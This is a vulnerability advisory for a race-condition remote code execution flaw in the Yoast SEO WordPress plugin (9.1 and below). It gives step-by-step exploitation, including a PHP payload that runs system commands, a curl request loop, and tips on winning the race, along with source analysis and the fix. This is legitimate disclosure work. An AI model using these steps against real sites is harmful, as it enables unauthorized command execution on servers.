WordPress SEO (Yoast SEO) plugin versions 9.1 and below suffer from a race condition that allows for command execution.

Product Affected: Yoast SEO WordPress Plugin.

Version Affected: Plugin versions 9.1 and below.

Active installations: 5+ million

Vulnerability Description: A Race condition vulnerability in unzip_file in admin/import/class-import-settings.php in the Yoast SEO (wordpress-seo) plugin before 9.2.0 for WordPress allows an SEO Manager to perform command execution on the Operating System via a ZIP import.

Remediation: Update to Yoast SEO plugin version 9.2.

CVSS Score: Pending

Vector String: Pending


Acknowledgments: Elias Dimopoulos of NeuroSoft S.A. (Redyops Team).

The vulnerability lies in the “admin/import/class-import-settings.php” file and is a race condition which leads in command execution.
An attacker with SEO manager user role, can leverage the ability to import settings from other SEO plugin. in order to execute system commands.

To stress that SEO manager is not a wordpress administrator.
In order for the attacker to gain access to the OS of the hosting machine he will have to be a SEO manager.
The attacker can abuse his ability to Import settings from other SEO plugins (tools->Import and Export->Import Settings).

The SEO manager imports the settings from a zip file. Our malicious zip file should contains the following:

settings.ini: A valid ini file with 1363074 lines which can be parsed.
a.php: The exploit he wants to execute on the system (e.g: a php file which executes system commands)

while the importing process takes place, he constantly requests the file http://web-server/wp-content/uploads/wpseo-import/a.php


  1. Download the exploit (yoast-seo-settings-export.zip).
  2. Login as SEO manager
  3. Go to SEO->tools->Import and Export->Import Settings
  4. Click “Choose File” and select the zip archive which you have downloaded.
  5. BEFORE pressing the “Import settings” button, execute the following command in a linux box (the attacker’s machine. Not the hosting machine of the WordPress) :

for i in $(seq 1 5000);do curl -I http://web-server/wp-content/uploads/wpseo-import/a.php 2>/dev/null |grep -i RCE;done

  1. Immediately Click the “Import settings” button.

The “a.php” file contains the following code:


$result=system(“(uname -a;id;pwd)|sed ‘:a;N;$!ba;s/\\n/ || /g'”);

header(“RCE: $result “);


By executing the command on step 5, we are constantly requesting the a.php file, and we are waiting for the RCE header, which contains the results from our command execution.
Consult the PoC video to better analyze and execute the attack (https://www.youtube.com/watch?v=nL141dcDGCY) .

Important Note:
This is race condition situation where the access of the a.php must be performed before the cleanup process (during the parsing of the settings.ini).
This means that a successful exploitation depends on the time which is needed the parsing to take place and the ability of the attacker to flood with requests for the a.php file.
As for example, if you import a very small settings.ini file, you might not be able to “catch” the a.php file before it will be deleted. Furthermore, if you upload the zip file in a high performance computer and you do not have a quick internet connection, again you may loose the opportunity to access the a.php before it will be deleted. In any case, you can make the settings.ini even bigger, in order for the parsing to take more time.

Testing environment:
WordPress Version 4.9.8
Yoast SEO Version 9.0.3

OS: Ubuntu 18.04 x86_64 x86_64 x86_64 GNU/Linux
PHP: 7.2.10-0ubuntu0.18.04.1

Source Code Analysis:
As we can observe in the constructor, the plugin first unzips the contents of the zip file containing the settings of the SEO and then parses the settings.ini file which is being contained in the zip archive:


47         public function __construct() {
48                 $this->status = new WPSEO_Import_Status( ‘import’, false );
49                 if ( ! $this->handle_upload() ) {
50                         return $this->status;
51                 }
53                 $this->determine_path();
55                 if ( ! $this->unzip_file() ) {
56                         $this->clean_up();
58                         return $this->status;
59                 }
61                 $this->parse_options();
63                 $this->clean_up();
64         }

the unzip function is as follows:

122         private function unzip_file() {

123                 $unzipped = unzip_file( $this->file[‘file’], $this->path );
124                 $msg_base = __( ‘Settings could not be imported:’, ‘wordpress-seo’ ) . ‘ ‘;
126                 if ( is_wp_error( $unzipped ) ) {
127                         /* translators: %s expands to an error message. */
128                         $this->status->set_msg( $msg_base . sprintf( __( ‘Unzipping failed with error “%s”.’, ‘wordpress-seo’ ), $unzipped->get_error_message() ) );
130                         return false;
131                 }
133                 $this->filename = $this->path . ‘settings.ini’;
134                 if ( ! is_file( $this->filename ) || ! is_readable( $this->filename ) ) {
135                         $this->status->set_msg( $msg_base . __( ‘Unzipping failed – file settings.ini not found.’, ‘wordpress-seo’ ) );
137                         return false;
138                 }
140                 return true;
141         }

and the $this->path is:

105                 $this->path = $this->upload_dir[‘basedir’] . DIRECTORY_SEPARATOR . ‘wpseo-import’ . DIRECTORY_SEPARATOR;

which is being translated to: /wp-content/uploads/wpseo-import/
Any file in this directory can be accessed by any user.
So what we have seen so far, is that when the constructor executes the line

55  if ( ! $this->unzip_file() )

, the zip archive which we have uploaded, will be unzipped in a folder the contents of which can be accessed by any user (even not logged-in) .
After the unzip, the line 61 of the constructor will be executed in order to parse the settings. During the parsing process there is the opportunity to access the contents on the http://ip//wp-content/uploads/wpseo-import/ .
In order for a successful exploitation we have to request our exploit (the a.php file in our demonstration) during the parsing process and before the line

63  $this->clean_up();

of the constructor will be executed.
During the cleanup process everything is being deleted.